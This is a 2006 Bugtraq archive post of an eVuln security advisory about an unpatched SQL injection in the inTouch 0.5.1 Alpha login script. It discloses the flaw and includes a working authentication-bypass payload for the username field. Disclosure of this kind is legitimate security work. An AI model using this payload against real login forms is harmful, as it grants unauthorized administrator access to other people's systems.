Bugtraq mailing list archives
[eVuln] inTouch Authentication Bypass
From: alex () evuln com
Date: 1 Jan 2006 23:06:42 -0000
New eVuln Advisory: inTouch Authentication Bypass --------------------Summary---------------- Software: inTouch (http://intouch.sourceforge.net/) Versions: 0.5.1 Alpha Critical Level: Moderate Type: SQL Injection Class: Remote Status: Unpatched Exploit: Available Solution: Not Available Discovered by: Aliaksandr Hartsuyeu (alex () evuln com) Published: 2006.01.01 eVuln ID: EV0008 -----------------Description-------------- Vulnerable scripts: intouch.lib.php Variable $user isn't properly sanitized before being used in a SQL query. This can be used to enter administrator area without password. Condition: magic_quotes_gpc = off --------------Exploit--------------------- Link: http://host/index.php username: a' or 'a'='a'/* password: anypassword --------------Solution--------------------- No Patch available. --------------Credit--------------------- Original Advisory: http://evuln.com/vulns/8/summary.html Discovered by: Aliaksandr Hartsuyeu (alex () evuln com)
Current thread:
- [eVuln] inTouch Authentication Bypass alex (Jan 03)